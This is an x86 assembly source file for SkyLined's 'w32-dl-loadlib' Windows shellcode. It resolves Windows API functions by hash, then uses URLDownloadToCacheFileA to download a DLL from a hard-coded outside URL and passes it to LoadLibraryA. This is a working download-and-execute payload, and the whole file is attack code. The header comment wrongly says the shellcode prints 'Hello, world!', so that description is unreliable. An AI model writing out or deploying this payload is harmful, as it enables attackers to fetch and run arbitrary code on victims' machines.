; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever ; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ ; All rights reserved. See COPYRIGHT.txt for details. BITS 32 ; Windows x86 null-free shellcode that writes "Hello, world!" to stdout. ; Works in any console application for Windows 5.0-7.0 all service packs. ; (See http://skypher.com/wiki/index.php/Hacking/Shellcode). ; This version uses 16-bit hashes. %define url 'http://skypher.com/dll' %strlen sizeof_url url %include 'w32-dl-loadlib-shellcode-hash-list.asm' %define B2W(b1,b2) (((b2) << 8) + (b1)) %define W2DW(w1,w2) (((w2) << 16) + (w1)) %define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1)) %define buffer_size 0x7C %ifdef STACK_ALIGN AND SP, 0xFFFC %endif MOV EDI, W2DW(hash_kernel32_LoadLibraryA, hash_urlmon_URLDownloadToCacheFileA) find_hash: ; Find ntdll's InInitOrder list of modules: PUSH EDI ; Stack = (hash, hash) [, &(url), &(LoadLibraryA)] XOR ESI, ESI ; ESI = 0 MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30]) MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module) next_module: ; Get the baseaddress of the current module and find the next module: MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address MOV ESI, [ESI] ; ESI = InInitOrder[X].flink == InInitOrder[X+1] get_proc_address_loop: ; Find the PE header and export and names tables of the module: MOV EBX, [EBP + 0x3C] ; EBX = &(PE header) MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table) ADD EBX, EBP ; EBX = &(export table) MOV ECX, [EBX + 0x18] ; ECX = number of name pointers JCXZ next_module ; No name pointers? Next module. next_function_loop: ; Get the next function name for hashing: MOV EDI, [EBX + 0x20] ; EDI = offset(names table) ADD EDI, EBP ; EDI = &(names table) MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name) ADD EDI, EBP ; EDI = &(function name) XOR EAX, EAX ; EAX = 0 CDQ ; EDX = 0 hash_loop: ; Hash the function name and compare with requested hash XOR DL, [EDI] ROR DX, BYTE hash_ror_value SCASB JNE hash_loop CMP DX, [ESP] LOOPNE next_function_loop ; Not the right hash and functions left in module? Next function JNE next_module ; Not the right hash and no functions left in module? Next module ; Found the right hash: get the address of the function: MOV EDX, [EBX + 0x24] ; ESI = offset ordinals table ADD EDX, EBP ; ESI = &oridinals table MOVZX EDX, WORD [EDX + 2 * ECX] ; ESI = ordinal number of function MOV EDI, [EBX + 0x1C] ; EDI = offset address table ADD EDI, EBP ; EDI = &address table ADD EBP, [EDI + 4 * EDX] ; EBP = &(function) ; Move to the next hash, this sets ECX to 0 if there are no more hashes: POP CX ; CX = hash | Stack = hash [, &(url), &(LoadLibraryA)] POP CX ; CX = hash | Stack = [&(url), &(LoadLibraryA)] MOV AH, 0x1 ; EAX = 0x100 JCXZ download_and_loadlibrary ; No more hashes MOV EDI, ECX ; EDI = hashes SUB ESP, EAX ; Stack = buffer (0x100 bytes) PUSH AX ; Stack = (0, 1), buffer PUSH B2DW('l', 'm', 'o', 'n') ; Stack = "lmon", (0, 1), buffer PUSH WORD B2W('u', 'r') ; Stack = "urlmon", (0, 1), buffer PUSH ESP ; Stack = &("urlmon"), "urlmon", (0, 1), buffer CALL EBP ; LoadLibraryA("urlmon") PUSH EBP ; Stack = &(LoadLibraryA), buffer CALL find_hash ; Stack = &(url), &(LoadLibraryA), buffer db url download_and_loadlibrary: ; Stack = &(url), &(LoadLibraryA), buffer POP ESI ; ESI = &(url) | Stack = &(LoadLibraryA), buffer POP EDX ; EDX = &(LoadLibraryA) | Stack = buffer ; Copy url to stack and NULL terminate it: MOV EDI, ESP ; EDI = &(buffer) PUSH BYTE sizeof_url ; POP ECX ; ECX = sizeof(url) REP MOVSB ; Stack = url buffer | EDI = &(buffer) STOSB ; Stack = url, 0, buffer | EDI = &(buffer) MOV ESI, ESP ; ESI = &(url) ; Create a ret-into-libc stack chain to make URLDownloadToCacheFileA() return to LoadLibraryA(): ; LoadLibraryA( PUSH EDI ; __in LPCTSTR lpFileName = &(buffer) PUSH ECX ; ) return address = NULL ; URLDownloadToCacheFileA( PUSH ECX ; __in IBindStatusCallback *pBSC = NULL PUSH ECX ; DWORD dwReserved = NULL ; Our buffer is not really 0x100 bytes long anymore because we used part of it to store the URL... oh well. PUSH EAX ; __in DWORD cchFileName = sizeof(buffer) PUSH EDI ; __out LPTSTR szFileName = &(buffer) PUSH ESI ; __in LPCSTR szURL = &(url) PUSH ECX ; __in LPUNKNOWN lpUnkcaller = NULL PUSH EDX ; ) return address = LoadLibraryA ; Start the ret-into-libc chain: JMP EBP ; Jump to URLDownloadToCacheFileA, then return to LoadLibraryA

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